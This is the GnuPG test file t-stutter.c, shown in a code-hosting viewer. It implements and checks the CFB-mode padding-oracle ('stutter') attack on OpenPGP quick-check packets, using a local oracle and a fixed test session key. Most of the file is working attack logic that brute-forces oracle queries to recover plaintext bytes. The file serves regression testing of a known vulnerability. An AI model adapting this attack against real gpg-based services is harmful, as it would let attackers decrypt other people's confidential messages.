Page MenuHome GnuPG
Files F26766074

t-stutter.c
No OneTemporary
Actions

t-stutter.c
View Options

/* t-stutter.c - Test the stutter exploit.
* Copyright (C) 2016 g10 Code GmbH
*
* This file is part of GnuPG.
*
* GnuPG is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* GnuPG is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/* This test is based on the paper: "An Attack on CFB Mode Encryption
* as Used by OpenPGP." This attack uses a padding oracle to decrypt
* the first two bytes of each block (which are normally 16 bytes
* large). Concretely, if an attacker can use this attack if it can
* sense whether the quick integrity check failed. See RFC 4880,
* Section 5.7 for an explanation of this quick check.
*
* The concrete attack, as described in the paper, only works for
* PKT_ENCRYPTED packets; it does not work for PKT_ENCRYPTED_MDC
* packets, which use a slightly different CFB mode (they don't
* include a sync after the IV). But, small modifications should
* allow the attack to work for PKT_ENCRYPTED_MDC packets.
*
* The cost of this attack is 2^15 + i * 2^15 oracle queries, where i
* is the number of blocks the attack wants to decrypt. This attack
* is completely unfeasible when gpg is used interactively, but it
* could work when used as a service.
*
* How to generate a test message:
*
* $ echo 0123456789abcdefghijklmnopqrstuvwxyz | \
* gpg --disable-mdc -z 0 -c > msg.asc
* $ gpg --list-packets msg.asc
* # Make sure the encryption packet contains a literal packet (without
* # any nesting).
* $ gpgsplit msg.asc
* $ gpg --show-session-key -d msg.asc
* $ ./t-stutter --debug SESSION_KEY 000002-009.encrypted
*/
#include <config.h>
#include <errno.h>
#include <ctype.h>
#include "gpg.h"
#include "main.h"
#include "../common/types.h"
#include "../common/util.h"
#include "dek.h"
#include "../common/logging.h"
#include "test.c"
static void
log_hexdump (byte *buffer, int length)
{
int written = 0;
fprintf (stderr, "%d bytes:\n", length);
while (length > 0)
{
int have = length > 16 ? 16 : length;
int i;
char formatted[2 * 16 + 1];
char text[16 + 1];
fprintf (stderr, "%-8d ", written);
bin2hex (buffer, have, formatted);
for (i = 0; i < 16; i ++)
{
if (i % 2 == 0)
fputc (' ', stderr);
if (i % 8 == 0)
fputc (' ', stderr);
if (i < have)
fwrite (&formatted[2 * i], 2, 1, stderr);
else
fwrite (" ", 2, 1, stderr);
}
for (i = 0; i < have; i ++)
{
if (isprint (buffer[i]))
text[i] = buffer[i];
else
text[i] = '.';
}
text[i] = 0;
fprintf (stderr, " ");
if (strlen (text) > 8)
{
fwrite (text, 8, 1, stderr);
fputc (' ', stderr);
fwrite (&text[8], strlen (text) - 8, 1, stderr);
}
else
fwrite (text, strlen (text), 1, stderr);
fputc ('\n', stderr);
buffer += have;
length -= have;
written += have;
}
return;
}
static char *
hexstr (const byte *bytes)
{
static int i;
static char bufs[100][7];
i ++;
if (i == 100)
i = 0;
sprintf (bufs[i], "0x%02X%02X", bytes[0], bytes[1]);
return bufs[i];
}
/* xor the two bytes starting at A with the two bytes starting at B
and return the result. */
static byte *
bufxor2 (const byte *a, const byte *b)
{
static int i;
static char bufs[100][2];
i ++;
if (i == 100)
i = 0;
bufs[i][0] = a[0] ^ b[0];
bufs[i][1] = a[1] ^ b[1];
return bufs[i];
}
/* The session key stays constant. */
static DEK dek;
int blocksize;
/* Decode the session key, which is in the format output by gpg
--show-session-key. */
static void
parse_session_key (char *session_key)
{
char *tail;
char *p = session_key;
errno = 0;
dek.algo = strtol (p, &tail, 10);
if (errno || (tail && *tail != ':'))
log_fatal ("Invalid session key specification. "
"Expected: cipher-id:HEXADECIMAL-CHRACTERS\n");
/* Skip the ':'. */
p = tail + 1;
if (strlen (p) % 2 != 0)
log_fatal ("Session key must consist of an even number of hexadecimal characters.\n");
dek.keylen = strlen (p) / 2;
log_assert (dek.keylen <= sizeof (dek.key));
if (hex2bin (p, dek.key, dek.keylen) == -1)
log_fatal ("Session key must only contain hexadecimal characters\n");
blocksize = openpgp_cipher_get_algo_blklen (dek.algo);
if ( !blocksize || blocksize > 16 )
log_fatal ("unsupported blocksize %u\n", blocksize );
return;
}
/* The ciphertext, the plaintext as decrypted by the good session key,
and the cfb stream (derived from the ciphertext and the
plaintext). */
static int msg_len;
static byte *msg;
static byte *msg_plaintext;
static byte *msg_cfb;
/* Whether we need to resynchronize the CFB after writing the random
data (this is the case for encrypted packets, but not encrypted and
integrity protected packets). */
static int sync;
static int
block_offset (int i)
{
int extra = 0;
log_assert (i >= 1);
/* Make sure blocksize has been initialized. */
log_assert (blocksize);
if (i > 2)
{
i -= 2;
extra = blocksize + 2;
}
return (i - 1) * blocksize + extra;
}
/* Return the ith block from TEXT. The first block is labeled 1.
Note: consistent with the OpenPGP message format, the second block
(i=2) is just 2 bytes. */
static byte *
block (byte *text, int len, int i)
{
int offset = block_offset (i);
log_assert (offset < len);
return &text[offset];
}
/* Return true if the quick integrity check passes. Also, if
PLAINTEXTP is not NULL, return the decrypted plaintext in
*PLAINTEXTP. If CFBP is not NULL, return the CFB byte stream in
*CFBP. */
static int
oracle (int debug, byte *ciphertext, int len, byte **plaintextp, byte **cfbp)
{
int rc = 0;
unsigned nprefix;
gcry_cipher_hd_t cipher_hd = NULL;
byte *plaintext = NULL;
byte *cfb = NULL;
/* Make sure DEK was initialized. */
log_assert (dek.algo);
log_assert (dek.keylen);
log_assert (blocksize);
nprefix = blocksize;
if (len < nprefix + 2)
{
/* An invalid message. We can't check that during parsing
because we may not know the used cipher then. */
rc = gpg_error (GPG_ERR_INV_PACKET);
goto leave;
}
rc = openpgp_cipher_open (&cipher_hd, dek.algo,
GCRY_CIPHER_MODE_CFB,
(! sync /* ed->mdc_method || dek.algo >= 100 */ ?
0 : GCRY_CIPHER_ENABLE_SYNC));
if (rc)
log_fatal ("Failed to open cipher: %s\n", gpg_strerror (rc));
rc = gcry_cipher_setkey (cipher_hd, dek.key, dek.keylen);
if (gpg_err_code (rc) == GPG_ERR_WEAK_KEY)
{
log_info ("WARNING: message was encrypted with"
" a weak key in the symmetric cipher.\n");
rc=0;
}
else if( rc )
log_fatal ("key setup failed: %s\n", gpg_strerror (rc));
gcry_cipher_setiv (cipher_hd, NULL, 0);
if (debug)
{
log_debug ("Encrypted data:\n");
log_hexdump(ciphertext, len);
}
plaintext = xmalloc_clear (len);
gcry_cipher_decrypt (cipher_hd, plaintext, blocksize + 2,
ciphertext, blocksize + 2);
gcry_cipher_sync (cipher_hd);
if (len > blocksize+2)
gcry_cipher_decrypt (cipher_hd,
&plaintext[blocksize+2], len-(blocksize+2),
&ciphertext[blocksize+2], len-(blocksize+2));
if (debug)
{
log_debug ("Decrypted data:\n");
log_hexdump (plaintext, len);
log_debug ("R_{b-1,b} = %s\n", hexstr (&plaintext[blocksize - 2]));
log_debug ("R_{b+1,b+2} = %s\n", hexstr (&plaintext[blocksize]));
}
if (cfbp || debug)
{
int i;
cfb = xmalloc (len);
for (i = 0; i < len; i ++)
cfb[i] = plaintext[i] ^ ciphertext[i];
log_assert (len >= blocksize + 2);
if (debug)
{
log_debug ("cfb:\n");
log_hexdump (cfb, len);
log_debug ("E_k([C_1]_{1,2}) = C_2 xor R (%s xor %s) = %s\n",
hexstr (&ciphertext[blocksize]),
hexstr (&plaintext[blocksize]),
hexstr (bufxor2 (&ciphertext[blocksize],
&plaintext[blocksize])));
if (len >= blocksize + 4)
log_debug ("D = Ek([C1]_{3-b} || C_2)_{1-2} (%s) xor C2 (%s) xor E_k(0)_{b-1,b} (%s) = %s\n",
hexstr (&cfb[blocksize + 2]),
hexstr (&ciphertext[blocksize]),
hexstr (&cfb[blocksize - 2]),
hexstr (bufxor2 (bufxor2 (&cfb[blocksize + 2],
&ciphertext[blocksize]),
&cfb[blocksize - 2])));
}
}
if (plaintext[nprefix-2] != plaintext[nprefix]
|| plaintext[nprefix-1] != plaintext[nprefix+1])
{
rc = gpg_error (GPG_ERR_BAD_KEY);
goto leave;
}
leave:
if (! rc && plaintextp)
*plaintextp = plaintext;
else
xfree (plaintext);
if (! rc && cfbp)
*cfbp = cfb;
else
xfree (cfb);
if (cipher_hd)
gcry_cipher_close (cipher_hd);
return rc;
}
/* Query the oracle with D=D for block B. */
static int
oracle_test (unsigned int d, int b, int debug)
{
byte probe[32 + 2];
log_assert (blocksize + 2 <= sizeof probe);
log_assert (d < 256 * 256);
if (b == 1)
memcpy (probe, &msg[2], blocksize);
else
memcpy (probe, block (msg, msg_len, b), blocksize);
probe[blocksize] = d >> 8;
probe[blocksize + 1] = d & 0xff;
if (debug)
log_debug ("oracle (0x%04X):\n", d);
return oracle (debug, probe, blocksize + 2, NULL, NULL) == 0;
}
static void
do_test (int argc, char *argv[])
{
int i;
int debug = 0;
char *filename = NULL;
int help = 0;
byte *raw_data;
int raw_data_len;
(void)current_test_group_failed;
for (i = 1; i < argc; i ++)
{
if (strcmp (argv[i], "--debug") == 0)
debug = 1;
else if (! blocksize)
parse_session_key (argv[i]);
else if (! filename)
filename = argv[i];
else
{
help = 1;
break;
}
}
if (! blocksize && ! filename && (filename = prepend_srcdir ("t-stutter-data.asc")))
/* Try defaults. */
{
parse_session_key ("9:9274A8EC128E850C6DDDF9EAC68BFA84FC7BC05F340DA41D78C93D0640C7C503");
}
if (help || ! blocksize || ! filename)
log_fatal ("Usage: %s [--debug] SESSION_KEY ENCRYPTED_PKT\n", argv[0]);
/* Don't read more than a KB. */
raw_data_len = 1024;
raw_data = xmalloc (raw_data_len);
{
FILE *fp;
int r;
fp = fopen (filename, "r");
if (! fp)
log_fatal ("Opening %s: %s\n", filename, strerror (errno));
r = fread (raw_data, 1, raw_data_len, fp);
fclose (fp);
/* We need at least the random data, the encrypted and literal
packets' headers and some body. */
if (r < (blocksize + 2 /* Random data. */
+ 2 * blocksize /* Header + some plaintext. */))
log_fatal ("Not enough data (need at least %d bytes of plain text): %s.\n",
blocksize + 2, strerror (errno));
raw_data_len = r;
if (debug)
{
log_debug ("First few bytes of the raw data:\n");
log_hexdump (raw_data, raw_data_len > 8 ? 8 : raw_data_len);
}
}
/* Parse the packet's header. */
{
int ctb = raw_data[0];
int new_format = ctb & (1 << 7);
int pkttype = (ctb & ((1 << 5) - 1)) >> (new_format ? 0 : 2);
int hdrlen;
if (new_format)
{
if (debug)
log_debug ("len encoded: 0x%x (%d)\n", raw_data[1], raw_data[1]);
if (raw_data[1] < 192)
hdrlen = 2;
else if (raw_data[1] < 224)
hdrlen = 3;
else if (raw_data[1] == 255)
hdrlen = 5;
else
hdrlen = 2;
}
else
{
int lentype = ctb & 0x3;
if (lentype == 0)
hdrlen = 2;
else if (lentype == 1)
hdrlen = 3;
else if (lentype == 2)
hdrlen = 5;
else
/* Indeterminate. */
hdrlen = 1;
}
if (debug)
log_debug ("ctb = %x; %s format, hdrlen: %d, packet: %s\n",
ctb, new_format ? "new" : "old",
hdrlen,
pkttype_str (pkttype));
if (! (pkttype == PKT_ENCRYPTED || pkttype == PKT_ENCRYPTED_MDC))
log_fatal ("%s does not contain an encrypted packet, but a %s.\n",
filename, pkttype_str (pkttype));
if (pkttype == PKT_ENCRYPTED_MDC)
{
/* The first byte following the header is the version, which
is 1. */
log_assert (raw_data[hdrlen] == 1);
hdrlen ++;
sync = 0;
}
else
sync = 1;
msg = &raw_data[hdrlen];
msg_len = raw_data_len - hdrlen;
}
log_assert (msg_len >= blocksize + 2);
{
/* This can at least partially be guessed. So we just assume that
it is known. */
int d;
int found;
const byte *m1;
byte e_k_zero[2];
if (oracle (debug, msg, msg_len, &msg_plaintext, &msg_cfb) == 0)
{
if (debug)
log_debug ("Session key appears to be good.\n");
}
else
log_fatal ("Session key is bad!\n");
m1 = &msg_plaintext[blocksize + 2];
if (debug)
log_debug ("First two bytes of plaintext are: %02X (%c) %02X (%c)\n",
m1[0], isprint (m1[0]) ? m1[0] : '?',
m1[1], isprint (m1[1]) ? m1[1] : '?');
for (d = 0; d < 256 * 256; d ++)
if ((found = oracle_test (d, 1, 0)))
break;
if (! found)
log_fatal ("Failed to find d!\n");
if (debug)
oracle_test (d, 1, 1);
if (debug)
log_debug ("D = %d (%x) looks good.\n", d, d);
{
byte *c2 = block (msg, msg_len, 2);
byte D[2] = { d >> 8, d & 0xFF };
byte *c3 = block (msg, msg_len, 3);
memcpy (e_k_zero,
bufxor2 (bufxor2 (c2, D),
bufxor2 (c3, m1)),
sizeof (e_k_zero));
if (debug)
{
log_debug ("C2 = %s\n", hexstr (c2));
log_debug ("D = %s\n", hexstr (D));
log_debug ("C3 = %s\n", hexstr (c3));
log_debug ("M = %s\n", hexstr (m1));
log_debug ("E_k([C1]_{3-b} || C_2) = C3 xor M1 = %s\n",
hexstr (bufxor2 (c3, m1)));
log_debug ("E_k(0)_{b-1,b} = %s\n", hexstr (e_k_zero));
}
}
/* Figure out the first 2 bytes of M2... (offset 16 & 17 of the
plain text assuming the blocksize == 16 or bytes 34 & 35 of the
decrypted cipher text, i.e., C4). */
for (i = 1; block_offset (i + 3) + 2 <= msg_len; i ++)
{
byte e_k_prime[2];
byte m[2];
byte *ct = block (msg, msg_len, i + 2);
byte *pt = block (msg_plaintext, msg_len, 2 + i + 1);
for (d = 0; d < 256 * 256; d ++)
if (oracle_test (d, i + 2, 0))
{
found = 1;
break;
}
if (! found)
log_fatal ("Failed to find a valid d for block %d\n", i);
if (debug)
log_debug ("Block %d: oracle: D = %04X passes integrity check\n",
i, d);
{
byte D[2] = { d >> 8, d & 0xFF };
memcpy (e_k_prime,
bufxor2 (bufxor2 (&ct[blocksize - 2], D), e_k_zero),
sizeof (e_k_prime));
memcpy (m, bufxor2 (e_k_prime, block (msg, msg_len, i + 3)),
sizeof (m));
}
if (debug)
log_debug ("=> block %d starting at %zd starts with: "
"%s (%c%c)\n",
i, (size_t) pt - (size_t) msg_plaintext,
hexstr (m),
isprint (m[0]) ? m[0] : '?', isprint (m[1]) ? m[1] : '?');
if (m[0] != pt[0] || m[1] != pt[1])
{
log_debug ("oracle attack failed! Expected %s (%c%c), got %s\n",
hexstr (pt),
isprint (pt[0]) ? pt[0] : '?',
isprint (pt[1]) ? pt[1] : '?',
hexstr (m));
tests_failed++;
}
}
if (i == 1)
log_fatal ("Message is too short, nothing to test.\n");
}
xfree (filename);
}

File Metadata

Mime Type
text/x-c
Expires
Wed, Aug 6, 10:00 PM (58 m, 31 s)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
5b/8d/361a55d6992cc5388ff31da65445

Event Timeline